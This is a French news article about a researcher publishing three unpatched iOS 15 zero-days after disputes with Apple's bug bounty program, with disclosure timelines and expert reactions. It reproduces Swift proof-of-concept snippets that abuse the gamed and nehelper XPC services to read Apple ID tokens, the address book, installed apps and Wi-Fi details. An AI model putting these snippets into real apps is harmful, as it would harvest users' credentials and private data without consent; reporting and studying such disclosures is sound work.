2 pièce(s) jointe(s)
Un chercheur publie trois vulnérabilités 0-day dans iOS 15, énervé par la gestion du Security Bounty d'Apple
Énervé par la façon dont Apple gère son programme Security Bounty, un chercheur publie trois vulnérabilités 0-day dans iOS 15
avec un code d'exploitation envoyé comme PoC
Énervé par la façon dont Apple gère son programme Security Bounty, un chercheur de bogues a publié un code d'exploitation de preuve de concept pour trois vulnérabilités zero-day dans le nouveau système d'exploitation mobile iOS 15 d'Apple.
Jeudi, sur le blog basé en Russie Habr et sous le pseudonyme IllusionOfChaos (sur Twitter il répond au même pseudonyme), le chercheur a exprimé sa frustration face à la gestion par Apple des rapports de vulnérabilité :
« Je souhaite partager mon expérience frustrante de participation au programme Apple Security Bounty. J'ai signalé quatre vulnérabilités 0-day cette année entre le 10 mars et le 4 mai, à ce jour, trois d'entre elles sont toujours présentes dans la dernière version iOS (15.0) et une a été corrigée dans 14.7, mais Apple a décidé de la couvrir et de ne pas la mentionner sur la page de contenu de sécurité. Lorsque je les ai confrontés, ils se sont excusés, m'ont assuré que cela était dû à un problème de traitement et ont promis de le répertorier sur la page de contenu de sécurité de la prochaine mise à jour. Il y a eu trois sorties depuis lors et ils ont rompu leur promesse à chaque fois ».
« Il y a dix jours, j'ai demandé une explication et j'ai prévenu que je rendrais mes recherches publiques si je ne reçois pas d'explication. Ma demande a été ignorée donc je fais ce que j'ai dit que je ferais. Mes actions sont conformes aux directives de divulgation responsable (Google Project Zero divulgue les vulnérabilités dans les 90 jours après les avoir signalées au fournisseur, ZDI - dans 120). J'ai attendu beaucoup plus longtemps, jusqu'à six mois dans un cas ».
Il a rappelé qu'il n'est pas la première personne à exprimer son mécontentement dans la gestion du programme Apple Security Bounty, donnant des liens redirigeant vers les plaintes d'autres chercheurs.
Apple a publié jeudi un correctif pour macOS Catalina afin de corriger une autre faille 0-day, après avoir effectué un exercice similaire dix jours plus tôt pour résoudre un bogue iMessage zero-clic utilisé pour cibler les militants des droits humainss.
Les trois failles iOS non corrigées incluent :
- Gamed 0-day, qui permet d'accéder à des données sensibles telles que l'adresse e-mail de l'identifiant Apple, le nom complet, le jeton d'authentification Apple ID associé, l'accès en lecture à une base de données de contacts partagée, la base de données de numérotation rapide et le carnet d'adresses.
- Nehelper Enumerate Installed Apps 0-day, qui permet à toute application installée par l'utilisateur de déterminer si une autre application est installée.
- Nehelper Wi-Fi Info 0-day, qui permet à une application disposant d'une autorisation d'accès à la localisation d'utiliser le Wi-Fi sans le droit requis.
La faille corrigée, Analyticsd, permettait à une application installée par l'utilisateur d'accéder à un ensemble partagé de journaux d'analyse contenant des données médicales, des informations sur l'utilisation de l'appareil, des données sur les accessoires de l'appareil, des données de plantage et des paramètres de langue pour les pages Web consultées.
Par la suite, il a donné des liens sur des dépôts GitHub contenant le code PoC qu'il a envoyé à Apple.
Plus d'informations sur les vulnérabilités non corrigées
Gamed 0-day
Gamed 0-day est évidemment le bogue le plus grave, car il expose à la fois des informations personnelles identifiables (PII) et peut être utilisé dans certains cas pour pouvoir effectuer des actions sur *.apple.com qui devraient normalement être initiées par le système d'exploitation iOS lui-même ou par des interactions directes avec l'utilisateur.
Selon lui, toute application installée à partir de l'App Store peut accéder aux données suivantes sans aucune invite de l'utilisateur :
- Adresse e-mail de l'identifiant Apple et nom complet associé
- Jeton d'authentification Apple ID qui permet d'accéder à au moins un des points de terminaison sur *.apple.com au nom de l'utilisateur
- Accès complet en lecture au système de fichiers à la base de données Core Duet (contient une liste de contacts, de mails, SMS, iMessages, des applications de messagerie tierces et des métadonnées sur toutes les interactions de l'utilisateur avec ces contacts (y compris les horodatages et les statistiques), ainsi que certaines pièces jointes (comme les URL et textes)
- Accès en lecture au système de fichiers complet à la base de données Speed Dial et à la base de données du carnet d'adresses, y compris les photos de contact et d'autres métadonnées comme les dates de création et de modification (il a précisé que, pour ce dernier point, lorsqu'il a vérifié sur iOS 15 et que celui-ci a été inaccessible, il a conclu qu'Apple dû corriger récemment ce bogue sans en informer le public)
Voici une courte preuve de concept (celle-ci ne sera pas réellement compilée et il propose une solution de contournement sur le référentiel GitHub)
Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
| let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
let appleID = response.credential.accountName
let token = response.credential.authenticationToken
}
utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
let addressBookData = data
}
} |
Chronologie :
- 10 mars 2021 - J'ai signalé la vulnérabilité à Apple ;
- 10 mars - Apple a reconnu avoir reçu mon rapport ;
- 20 mai - J'ai demandé une mise à jour du statut (et je n'ai pas reçu de réponse) ;
- 30 mai - J'ai à nouveau demandé une mise à jour de statut ;
- 1er juillet - Apple a répondu qu'ils enquêtaient toujours ;
- 20 juillet - J'ai à nouveau demandé une mise à jour de statut ;
- 25 août - Apple a répondu qu'ils prévoyaient de résoudre ce problème dans la prochaine mise à jour.
Nehelper Enumerate Installed Apps 0-day
La vulnérabilité permet à toute application installée par l'utilisateur de déterminer si une application est installée sur l'appareil en fonction de son ID de bundle.
Le point de terminaison XPC com.apple.nehelper a une méthode accessible à toute application qui accepte un ID de bundle en tant que paramètre et renvoie un tableau contenant des UUID de cache si l'application avec l'ID de bundle correspondant est installée sur l'appareil ou un tableau vide sinon. Cela se passe au niveau de -[NEHelperCacheManager onQueueHandleMessage:] dans /usr/libexec/nehelper.
Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| func isAppInstalled(bundleId: String) -> Bool {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
xpc_dictionary_set_uint64(xdict, "cache-command", 3)
xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
return true
}
return false
} |
Chronologie :
- 4 mai 2021 - J'ai signalé la vulnérabilité à Apple ;
- 4 mai - Apple a indiqué avoir reçu mon rapport ;
- 20 mai - J'ai demandé une mise à jour du statut (et je n'ai pas reçu de réponse) ;
- 20 juillet - J'ai à nouveau demandé une mise à jour de statut ;
- 12 août - Apple a répondu qu'ils enquêtaient toujours.
Nehelper Wifi Info 0-day
Le point de terminaison XPC com.apple.nehelper accepte le paramètre fourni par l'utilisateur sdk-version et si sa valeur est inférieure ou égale à 524288, com.apple.developer.networking.wifi-info le contrôle des droits est ignoré. Cela permet à toute application éligible (par exemple, possédant une autorisation d'accès à la localisation) d'accéder aux informations Wifi sans le droit requis. Cela se passe au niveau de -[NEHelperWiFiInfoManager checkIfEntitled:] dans /usr/libexec/nehelper.
Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| func wifi_info() -> String? {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
xpc_dictionary_set_string(xdict, "interface-name", "en0")
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let result = xpc_dictionary_get_value(reply, "result-data") {
let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
return "SSID: \(ssid)\nBSSID: \(bssid)"
} else {
return nil
}
} |
Chronologie :
- 2 mai 2021 - J'ai signalé la vulnérabilité à Apple ;
- 4 mai - Apple a reconnu avoir reçu mon rapport ;
- 20 mai - J'ai demandé une mise à jour du statut (et je n'ai pas reçu de réponse) ;
- 20 juillet - J'ai à nouveau demandé une mise à jour de statut ;
- 6 août - Apple a répondu qu'ils enquêtaient toujours.
La réaction de l'industrie
IllusionOfChaos a déclaré que la collecte de ces données montre l'hypocrisie des prétentions d'Apple à se soucier de la confidentialité. « Toutes ces données étaient collectées et disponibles pour un attaquant même si "Partager l'analyse" était désactivé dans les paramètres », a déclaré le chercheur.
Kosta Eleftheriou, le développeur derrière l'application pour clavier Apple Watch FlickType (qui plus tôt cette année a poursuivi Apple pour abus de marché sur l'App Store), a déclaré via Twitter qu'il avait testé le Gamed 0-day sur iOS 14.8 et iOS 15 et a confirmé qu'il fonctionnait comme annoncé.
« Les bogues sont présents, mais il est peu probable qu'ils soient largement exploités », a déclaré le chercheur en sécurité Patrick Wardle, fondateur du projet de sécurité gratuit Objective See et directeur de la recherche chez Security biz Synack. « Toute application qui tenterait d'en profiter devra d'abord être approuvée par Apple, via l'App Store iOS »."
« Pour moi, le plus important à retenir est qu'Apple livre iOS avec des bogues connus », a poursuivi Wardle, notant qu'IllusionOfChaos prétend avoir signalé les bogues il y a des mois. « Et que les chercheurs en sécurité sont tellement frustrés par le programme Apple Bug Bounty qu'ils y renoncent littéralement, refusant de l'argent (potentiel) pour publier des bogues gratuitement en ligne ».
Wardle a déclaré qu'il considérait que la critique du chercheur du programme Security Bounty d'Apple était justifiée.
« Ce n'est pas qu'Apple n'a pas les ressources ou l'argent pour résoudre ce problème », a-t-il tenu à préciser. « Il est clair que ce n'est tout simplement pas une priorité pour eux. À mon humble avis, la raison sous-jacente est que l'orgueil d'Apple gêne. Ils ne voient (toujours) pas les chercheurs en sécurité ou les hackers comme étant du même côté qu'eux ».
« L'équipe de sécurité interne d'Apple comprend, mais au niveau le plus élevé, ils ont tous bu le jus de pomme, et croient que leur chemin est le bon, et ils n'ont besoin d'aucune aide externe ».
Alors que certains développeurs ont trouvé le programme Security Bounty d'Apple gratifiant, d'autres partagent la frustration exprimée par IllusionOfChaos. En juillet 2020, Jeff Johnson, qui dirige l'entreprise d'applications Lapcat Software, a rendu public une vulnérabilité de contournement de la confidentialité parce qu'Apple n'a pas réussi à corriger. À l'époque, a-t-il déclaré, « parler à Apple Product Security, c'était comme s'adresser à un mur de briques ».
Source : billet du chercheur
Et vous ?
:fleche: Quelle lecture faites-vous de la situation ?
:fleche: Partagez-vous l'opinion du chercheur qui pense qu'Apple ne considère pas les chercheurs en sécurité comme étant de son côté ?
:fleche: Que pensez-vous du fait de publier les vulnérabilités et les PoC après un certain délai si l'entreprise manque à corriger la faille ?
Voir aussi :
:fleche: Apple a bloqué le clavier FlickType Watch disant que les claviers ne sont pas autorisés sur l'Apple Watch, puis a annoncé un clone de celui-ci sur le dispositif
:fleche: Apple licencie Ashley Gjøvik qui a dénoncé le harcèlement dont elle était victime, Apple l'accuse d'avoir fait fuiter des informations confidentielles
